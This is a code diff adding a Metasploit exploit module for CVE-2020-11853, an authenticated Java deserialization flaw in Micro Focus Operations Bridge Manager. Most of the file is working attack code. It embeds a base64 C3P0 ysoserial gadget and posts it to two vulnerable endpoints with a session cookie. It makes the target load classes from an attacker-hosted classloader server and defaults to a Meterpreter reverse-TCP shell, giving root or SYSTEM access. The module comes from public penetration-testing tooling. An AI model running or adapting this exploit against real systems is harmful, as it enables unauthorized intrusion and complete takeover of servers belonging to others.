|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + |
| 8 | + Rank = ExcellentRanking |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Exploit::Remote::Java::HTTP::ClassLoader |
| 12 | + prepend Msf::Exploit::Remote::AutoCheck |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Micro Focus Operations Bridge Manager Authenticated Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an authenticated Java deserialization that affects a truckload of Micro |
| 20 | + Focus products: Operations Bridge Manager, Application Performance Management, Data Center Automation, |
| 21 | + Universal CMDB, Hybrid Cloud Management and Service Management Automation. However this module |
| 22 | + was only tested on Operations Bridge Manager. |
| 23 | + Exploiting this vulnerability will result in remote code execution as the root user on Linux or |
| 24 | + the SYSTEM user on Windows. |
| 25 | + Authentication is required, the module user needs to login to the application and obtain the |
| 26 | + authenticated LWSSO_COOKIE_KEY, which should be fed to the module. Any authenticated user can |
| 27 | + exploit this vulnerability, even the lowest privileged ones. |
| 28 | + For more information refer to the advisory link below. |
| 29 | + }, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'], |
| 37 | + [ 'CVE', '2020-11853'], |
| 38 | + [ 'ZDI', '20-1327'], |
| 39 | + ], |
| 40 | + 'DisclosureDate' => '2020-10-28', |
| 41 | + 'License' => MSF_LICENSE, |
| 42 | + 'Platform' => 'java', |
| 43 | + 'Arch' => ARCH_JAVA, |
| 44 | + 'Privileged' => true, |
| 45 | + 'Targets' => [ |
| 46 | + ['Micro Focus Operations Bridge Manager <= 2020.05 (and many other MF products)', {}] |
| 47 | + ], |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'DefaultOptions' => { |
| 50 | + 'PAYLOAD' => 'java/meterpreter/reverse_tcp' |
| 51 | + } |
| 52 | + ) |
| 53 | + ) |
| 54 | + |
| 55 | + register_options([ |
| 56 | + Opt::RPORT(443), |
| 57 | + OptString.new('TARGETURI', [true, 'Base path', '/']), |
| 58 | + OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]), |
| 59 | + OptString.new('LWSSO_COOKIE_KEY', [true, 'Authenticated LWSSO_COOKIE_KEY session cookie']) |
| 60 | + ]) |
| 61 | + end |
| 62 | + |
| 63 | + def check |
| 64 | + res = send_request_cgi({ |
| 65 | + 'method' => 'GET', |
| 66 | + 'uri' => normalize_uri(target_uri.path, '/topaz/login.jsp') |
| 67 | + }) |
| 68 | + |
| 69 | + # unfortunately could not find an easy way to detect the version running, even when auth |
| 70 | + if res && res.code == 200 && res.body.include?('Login - Operations Bridge Manager') |
| 71 | + return Exploit::CheckCode::Detected |
| 72 | + end |
| 73 | + |
| 74 | + return Exploit::CheckCode::Unknown |
| 75 | + end |
| 76 | + |
| 77 | + def exploit |
| 78 | + # Start our HTTP server to provide remote classloading |
| 79 | + @classloader_uri = start_service |
| 80 | + |
| 81 | + unless @classloader_uri |
| 82 | + fail_with(Failure::BadConfig, 'Could not start remote classloader server') |
| 83 | + end |
| 84 | + |
| 85 | + print_good("Started remote classloader server at #{@classloader_uri}") |
| 86 | + |
| 87 | + # heh, we got two of these, let's pick one randomly! |
| 88 | + vuln_uri = [ |
| 89 | + '/legacy/topaz/sitescope/conf/registration', |
| 90 | + '/legacy/topaz/sitescope/conf/download' |
| 91 | + ].sample |
| 92 | + |
| 93 | + # Send our remote classloader gadget to the target, triggering the vuln |
| 94 | + send_request_gadget( |
| 95 | + normalize_uri(target_uri.path, vuln_uri) |
| 96 | + ) |
| 97 | + end |
| 98 | + |
| 99 | + # Convenience method to send our gadget to a URI |
| 100 | + def send_request_gadget(uri) |
| 101 | + print_status("Sending remote classloader gadget to #{full_uri(uri)}") |
| 102 | + |
| 103 | + send_request_raw({ |
| 104 | + 'method' => 'POST', |
| 105 | + 'uri' => uri, |
| 106 | + 'cookie' => "LWSSO_COOKIE_KEY=#{datastore['LWSSO_COOKIE_KEY']}", |
| 107 | + 'headers' => { 'Content-Type' => 'application/octet-stream' }, |
| 108 | + 'data' => go_go_gadget |
| 109 | + }, 0) |
| 110 | + end |
| 111 | + |
| 112 | + # C3P0 payload generated with a ysoserial jar |
| 113 | + # The ysoserial jar needs to be built with c3p0 version 0.9.1.2 as that is what the target uses |
| 114 | + # See the advisory for details. |
| 115 | + # |
| 116 | + # java -jar ysoserial-0.0.6-SNAPSHOT-all-c3p0-0.9.1.2.jar C3P0 'http://whatever/:ExploitClass' | base64 |
| 117 | + def go_go_gadget |
| 118 | + gadget = Rex::Text.decode_base64( |
| 119 | + <<~EOF |
| 120 | + rO0ABXNyAChjb20ubWNoYW5nZS52Mi5jM3AwLlBvb2xCYWNrZWREYXRhU291cmNlZoRH/BzETxgC |
| 121 | + AAB4cgA1Y29tLm1jaGFuZ2UudjIuYzNwMC5pbXBsLkFic3RyYWN0UG9vbEJhY2tlZERhdGFTb3Vy |
| 122 | + Y2UAAAAAAAAAAQMAAHhyADFjb20ubWNoYW5nZS52Mi5jM3AwLmltcGwuUG9vbEJhY2tlZERhdGFT |
| 123 | + b3VyY2VCYXNlAAAAAAAAAAEDAAdJABBudW1IZWxwZXJUaHJlYWRzTAAYY29ubmVjdGlvblBvb2xE |
| 124 | + YXRhU291cmNldAAkTGphdmF4L3NxbC9Db25uZWN0aW9uUG9vbERhdGFTb3VyY2U7TAAOZGF0YVNv |
| 125 | + dXJjZU5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABRmYWN0b3J5Q2xhc3NMb2NhdGlvbnEAfgAE |
| 126 | + TAANaWRlbnRpdHlUb2tlbnEAfgAETAADcGNzdAAiTGphdmEvYmVhbnMvUHJvcGVydHlDaGFuZ2VT |
| 127 | + dXBwb3J0O0wAA3Zjc3QAIkxqYXZhL2JlYW5zL1ZldG9hYmxlQ2hhbmdlU3VwcG9ydDt4cHcCAAFz |
| 128 | + cgA9Y29tLm1jaGFuZ2UudjIubmFtaW5nLlJlZmVyZW5jZUluZGlyZWN0b3IkUmVmZXJlbmNlU2Vy |
| 129 | + aWFsaXplZGIZhdDRKsITAgAETAALY29udGV4dE5hbWV0ABNMamF2YXgvbmFtaW5nL05hbWU7TAAD |
| 130 | + ZW52dAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAEbmFtZXEAfgAJTAAJcmVmZXJlbmNldAAYTGph |
| 131 | + dmF4L25hbWluZy9SZWZlcmVuY2U7eHBwcHBzcgAWamF2YXgubmFtaW5nLlJlZmVyZW5jZejGnqKo |
| 132 | + 6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3RvcjtMAAxjbGFzc0ZhY3RvcnlxAH4ABEwA |
| 133 | + FGNsYXNzRmFjdG9yeUxvY2F0aW9ucQB+AARMAAljbGFzc05hbWVxAH4ABHhwc3IAEGphdmEudXRp |
| 134 | + bC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwAL |
| 135 | + ZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFu |
| 136 | + Zy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQADEV4cGxvaXRDbGFzc3QAEGh0 |
| 137 | + dHA6Ly93aGF0ZXZlci90AAdleHBsb2l0cHBwdwQAAAAAeHcCAAF4 |
| 138 | + EOF |
| 139 | + ) |
| 140 | + |
| 141 | + # Replace length-prefixed placeholder strings with our own |
| 142 | + gadget.sub!("\x00\x10http://whatever/", packed_classloader_uri) |
| 143 | + gadget.sub!("\x00\x07exploit", packed_class_name) |
| 144 | + gadget.sub("\x00\x0cExploitClass", packed_class_name) |
| 145 | + end |
| 146 | + |
| 147 | + # Convenience method to pack the classloader URI as a length-prefixed string |
| 148 | + def packed_classloader_uri |
| 149 | + "#{[@classloader_uri.length].pack('n')}#{@classloader_uri}" |
| 150 | + end |
| 151 | + |
| 152 | +end |
0 commit comments